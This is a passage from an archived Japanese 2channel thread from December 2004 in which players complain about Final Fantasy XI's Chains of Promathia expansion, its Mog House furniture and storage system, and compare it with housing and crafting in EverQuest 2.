戦闘バランスに関わる数値なんかはローカルに保存するわけじゃなし
PSOのクエ配信みたいになるかと
仮定の話イジって遊んでるだけだし
そんななったらなおさらやらなくなるって事言ってるんだが

887 :既にその名前は使われています:04/12/07 14:04:19 ID:iaqQPBEn
まあ、妄想大爆発だな。

チートマンセー仕様じゃあるまいし。

888 :既にその名前は使われています:04/12/07 14:07:15 ID:EydmGEc8
PS3のメモリーカードってそんなに容量でかいのか?
FFのパッチってアイテム追加がメインだしいくら容量があっても足りなそうだがな。

889 :ドラえもん:04/12/07 14:12:07 ID:GpL/poBM
>>888
でかいよ、風呂桶2杯とリンゴ3個分くらい

890 :既にその名前は使われています:04/12/07 14:17:09 ID:o/gEbGmB
とにかく、俺のFFの3馬鹿樽とプリッシュウルミアは
リヴェで餓死していると思う。そして現状のままだとコレからもな。

891 :既にその名前は使われています:04/12/07 14:19:29 ID:EhhR1sg2
【タルタル】【肉】【やったー!】

892 :名無しさん ◆V00/Phqsn. :04/12/07 14:19:33 ID:FohDL4bI
>>890
俺も闇王復活の兆しが見えてから半年が経ってる(´д`)

893 :既にその名前は使われています:04/12/07 14:21:40 ID:+B08YtGu
グラフィックとテクスチャのデータはすべてのディスクに入ってる前提
追加するのは何番のグラで何番のテクスチャで、
後はレベルやらD、防なんかのテキストデータでいい
もっともクリムゾンブレードがブロンズソードだったり、
エンハンスが金剣だったりする■eだから
実装データも激ショボだろうがなw

894 :既にその名前は使われています:04/12/07 14:30:08 ID:LU6S6O1E
>>868
俺もPS2発売日組だが考えは同じだな
俺らも最初は惨かったけどあれはまだ情報が無く試行錯誤してたってのはあったが害人はそれ以上に惨い
>>870
つまらない+リネ2の同じ鎚を踏むだけだな
それよりも次のFFでオン出すなら
「田中、河本、松井以下バトルチーム全員の首を刎ねる」
でもしなきゃFF11と同じ過ちを繰り返すだろうね

895 :既にその名前は使われています:04/12/07 14:36:54 ID:0ftK1r5L
外人前衛は挑発しないよ。
モ/戦とかでも挑発してくれない。
「オレはmeleeだから挑発しない。挑発はtankの仕事だろ?」
基本全員でタコ殴り。

896 :既にその名前は使われています:04/12/07 14:36:55 ID:Kzknd7U3
>>872
EQ2英語版今やってる。
昨日レベル20になってようやくMonkになりました。
EQ2のモンクは避けるTankとして立派に盾役張れてます。
もちろん他の盾役がいるときはアタッカーモード前回で
とび蹴りとか4連打とか雷拳とか使ってますよ。

クエストも生産もめちゃ楽しい

897 :既にその名前は使われています:04/12/07 15:01:03 ID:klh1qnxl
誰かオーク、ゴブ、亀の頭を無能バトルチームの顔に変更するグラフィック差し替えデータ
作ってくれ。
そしたらFF復帰する気になるかも。


898 :既にその名前は使われています:04/12/07 15:07:17 ID:k7/vSDdE
>>896
儲の傷口に塩を擦り込むようなマネはやめてやれw

899 :既にその名前は使われています:04/12/07 15:26:18 ID:Kzknd7U3
EQ2の生産の面白いところは運要素が少ないところ。
もちろんスキル値や生産レベルも大事なんだけど
腕次第で結果を引き上げられるのが面白い。

例えばFFの合成でいい結果出そうと思ったら
曜日を気にする、月齢を気にする、家具を気にする、サポート付ける
というお膳立てをして、後は神のみぞ知るってかんじで合成。
HQ出るかどうかは合成始まってからコントロールできない。

でもEQ2の生産は生産中にプレイヤーが各種スキルを使ってコントロールできるのが面白い。


900 :既にその名前は使われています:04/12/07 15:29:21 ID:EhhR1sg2
分解する為部屋に家具を置いた。
切り株みたいなのが無数にあるキモイ部屋が出来た。

901 :既にその名前は使われています:04/12/07 15:33:22 ID:Kzknd7U3
>>900
くつろげない我が家って萎えるよね(´・ω・`)

902 :既にその名前は使われています:04/12/07 15:35:17 ID:DVEvepRU
ソロでモンク25→サポ取り・薬パワーソロドラゴン戦→サポ白でモンク30→
獣ジョブ取得→獣&合成ライフ
これこそがが今のFFの王道じゃまいか。

903 :既にその名前は使われています:04/12/07 15:35:40 ID:o/gEbGmB
居住時間が ジュノのレンタルハウス >>> 自宅 だしな。

904 :既にその名前は使われています:04/12/07 15:37:52 ID:EhhR1sg2
>>901
家具の属性が変な不具合はいつ修正されるんだろうね…



905 :既にその名前は使われています:04/12/07 15:42:57 ID:0ftK1r5L
収納を普通に増やそうとするとたいてい釣り:モノになる不具合

906 :既にその名前は使われています:04/12/07 15:47:02 ID:XpdsD287
始めたてのころ、「家具が金庫を圧迫して、レイアウトしても他人を招待できない」という仕様に
これを考えた奴の正気を本気で疑ってしまいました。
まだ家具にほとんど意味のなかった時代の話です

半分自棄になって、木工で初めて作った木の机を置いてたけどね。
ブロンズベッドが来たら速攻捨てちゃったな

907 :(       ´∀`) ◆b7HaGeBCho :04/12/07 15:53:03 ID:OyRxYAYm
>>906
ファミ通や電撃もFF11のサービス当初は面白SSやモグハウスのSSを募集していましたね。
結局誰もモグハウスのSSなぞ送りませんでしたが・・・
デメリットしかなかったですものね・・・
今家具を設置してる人もベッドかアルモアールだけかも知れませんが。

908 :既にその名前は使われています:04/12/07 15:58:42 ID:Kzknd7U3
EQ2の家は他人も招待できるしペット飼えるし良いですよ。
高い家賃の部屋は3階建てとかもあります。

バザーは自宅でしか出来ないのが不便ですが、
逆にそのせいで他人に家を公開してる人が多いです。
暇なときに公開設定してる人の家を順番に覗いていくのも楽しい。


909 :既にその名前は使われています:04/12/07 15:59:54 ID:EhhR1sg2
空き巣とかいないの?

910 :既にその名前は使われています:04/12/07 16:00:31 ID:Mj2/n1rY
倉庫が圧迫されて他人を招くこともできない内装なんぞやるだけ損だったからなー。
家具だけじゃなく装備品も、消耗品でないから最初に作った者勝ち。
FFの生産ってほんとワケわかんね。

911 :既にその名前は使われています:04/12/07 16:03:25 ID:EhhR1sg2
急に装備や武器が消耗するようになったゲームを思い出した…

912 :既にその名前は使われています:04/12/07 16:04:13 ID:Kzknd7U3
>>908
公開設定にはランクがあって、
Visitor設定だと誰でも入れるけど家具は動かせない。
Friend設定にすると指定した人だけが部屋に入れるようになって
その人は家具を動かしたり持ち去ったりできます。

ちなみにバザーモードにすると
自動的にVisitor設定になって出入り自由持ち出し不可になるので安全です。

913 :既にその名前は使われています:04/12/07 16:05:50 ID:EhhR1sg2
>>912
おお^^
でもエロ本とか見つかったら晒されそうだね^^;

914 :既にその名前は使われています:04/12/07 16:08:55 ID:oFZr6Qze
>>905
応援を経験値にしたまま収納を増やそうとすると
防具箱ばっかり置かなきゃならないのもどうにかしてくれ

915 :既にその名前は使われています:04/12/07 16:09:40 ID:Kzknd7U3
私はまだ貧乏なので机2個に椅子1個、ベンチ1個、絵が2個、
シャンデリア1個、ろうそく1個、あとは箱とかつぼとか。
ちょっと寂しいので床を上質のものに代えました。
オプション料金払うと床や壁をかえられるんですよ。

先日、知り合いを招いたら意外と小奇麗とか言われて内装に懲りそうですよ。
自作家具でも置こうかな。

916 :既にその名前は使われています:04/12/07 16:11:06 ID:RwwbeRup
水がめオンリー

917 :既にその名前は使われています:04/12/07 16:21:59 ID:A3M7QcGn
FF11のモグハウスにベッドとか机とか微妙に増えている気がするのは気のせい?
買った覚えもないんだけど

918 :既にその名前は使われています:04/12/07 16:24:37 ID:v8+nfuqx
  ∩___∩        |            , '´l,
   | ノ\     ヽ      |         , -─-'- 、i
  /  ●゛  ● |      |       _, '´ /     ヽ、
  | ∪  ( _●_) ミ     j     iニニ, "● ∪    ヽ、
 彡、   |∪|   |     >>917   iニニ、_          ',
/     ∩ノ ⊃  ヽ            〈`'ー;==ヽ、〈ー- 、 !
(  \ / _ノ |  |             `ー´    ヽi`ヽ iノ
      l´ ̄ ̄`l'''''−、
      l´ ̄`l  ̄`l、 lヽ, l  .⊆ヽ、
`ヽ、    |.   |    ヌ|'''''`   '''-,, _ノヽ、..... |`ゝ  .ヽゝ
    `ヽ、l,__,.l             ヽ、 `',...l┴、  .l~~l |ヽ
;;;ヽ、  /'''´ ̄(●)'l/'''-,,,、 ,,.::--''´ ̄ヽヽノ |  |   l_,,,l l~~l
 ヽヽ/         (●) ヽ _,,,.::--''   |  |  l~~l l~~l
;;;、 `/      U        ヌ――――-、|_l .l .l l .l
 .`/   U           |、____ノ_  l .l l .l
、...l             U     |´         `lゝ´入ノ


919 :既にその名前は使われています:04/12/07 16:24:39 ID:0ftK1r5L
>>917
それ自国じゃないから。

920 :既にその名前は使われています:04/12/07 16:29:36 ID:awaz5vHl
>>917
モグハウス=ジュノだしな
あれレンタルだけど

921 :既にその名前は使われています:04/12/07 16:33:33 ID:70BP4VhK
>>907
レッドポットが32個並んでますが何か?

922 :既にその名前は使われています:04/12/07 18:19:05 ID:rZavhDzS
あげ

923 :既にその名前は使われています:04/12/07 18:21:51 ID:t5rWVVpm
>>921
そこまでして炎応援が欲しいのか。
気持ちは分かるがw

924 :既にその名前は使われています:04/12/07 18:36:09 ID:CuT8NR1A
FFで装備消耗するようにしたら、ブロンズサブリガが2000Gとかするようになるだろうがな。

925 :既にその名前は使われています:04/12/07 18:40:28 ID:t5rWVVpm
>>924
ブロンズサブリガが防具屋で売られてること知らない人大杉だよねw

926 :名無しさん ◆V00/Phqsn. :04/12/07 18:41:28 ID:FohDL4bI
釣った錆びたバケツを律儀に設置してったらバケツで倉庫が埋まった(´д`)
今は10個くらいに減らしたけど。倉庫足りないと思ったらコレカ。

927 :既にその名前は使われています:04/12/07 19:37:55 ID:hYz/aAuh
部屋に置いてあるはずのモノが金庫に入ってたり、
着てるはずのモノが鞄に入ってるのが謎。

928 :既にその名前は使われています:04/12/07 21:29:49 ID:8L5jahJ4
あげとくよ

929 :既にその名前は使われています:04/12/07 21:42:49 ID:oX7dEGX+
インテリアに対する需要は昔からあったな。
木工で作ったどうでもいい家具がそれなりに売れていたよ。
試しに自分のモグハ置いてみたらあまりにショボかったので
申し訳なくなってスキル上げ以外の合成はやらなくなったが。
動物の森で部屋をいじってるとモグハが鼻糞以下に感じるな。

930 :既にその名前は使われています:04/12/07 21:44:21 ID:CRvxFOWe
FF11というブツは
「遊び」の要素がないからな
あまりに卑劣と言えば卑劣

931 :既にその名前は使われています:04/12/07 22:01:41 ID:Pi5zHy5w
大体あんなキモイ白い物体と一緒に住みたくないよ
あいつ絶対♀キャラがご主人様なら下着とか漁ってるよ

932 :既にその名前は使われています:04/12/07 22:04:04 ID:LlmJ530c
あの白いもちもちした物体は全て♂なんですか?

933 :(       ´∀`) ◆b7HaGeBCho :04/12/07 22:04:48 ID:OyRxYAYm
ボクって言ってますね

934 :既にその名前は使われています:04/12/07 23:05:04 ID:D8eILsIi
また1000いくな〜このスレ

935 :既にその名前は使われています:04/12/07 23:10:59 ID:RwwbeRup
ほとんどプロマシアと関係なくなってないか?>スレの流れ

まぁほとんど語り尽くした感があるから、つぎは9日のパッチで
どういうふうに「ストーリーの難易度が修正」されたかで、また
ひと騒ぎあるんだろうな

936 :既にその名前は使われています:04/12/08 00:41:33 ID:XQoWcxEn
age

937 :既にその名前は使われています:04/12/08 00:44:25 ID:70GLMNA0
age

938 :既にその名前は使われています:04/12/08 01:18:03 ID:/x6olMFU
まぁゆっくりとスレ消費していって1000、
12/9にがっかりだ!!!
でもりあがれたらいいなw

939 :既にその名前は使われています:04/12/08 02:57:55 ID:/x6olMFU
ネタがつきても上げてやる。

940 :既にその名前は使われています:04/12/08 04:11:25 ID:dbpxZVVu
家具の置けるスペースも微妙だし
家具で金庫枠食うから収納あっても邪魔なんだよねえ…

収納の数を1づつ減らしていいから(1の奴は0に)
せめて家具だけでも金庫枠と別にして欲しいな。
むしろ椅子に座ったり、ベッドで寝転んだり
防具箱が開くギミックとか着いたら最高なんだがw



941 :既にその名前は使われています:04/12/08 04:18:06 ID:TKsJ524a
>>931
ワロタ。確かに目つきが怪しいな。

251 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)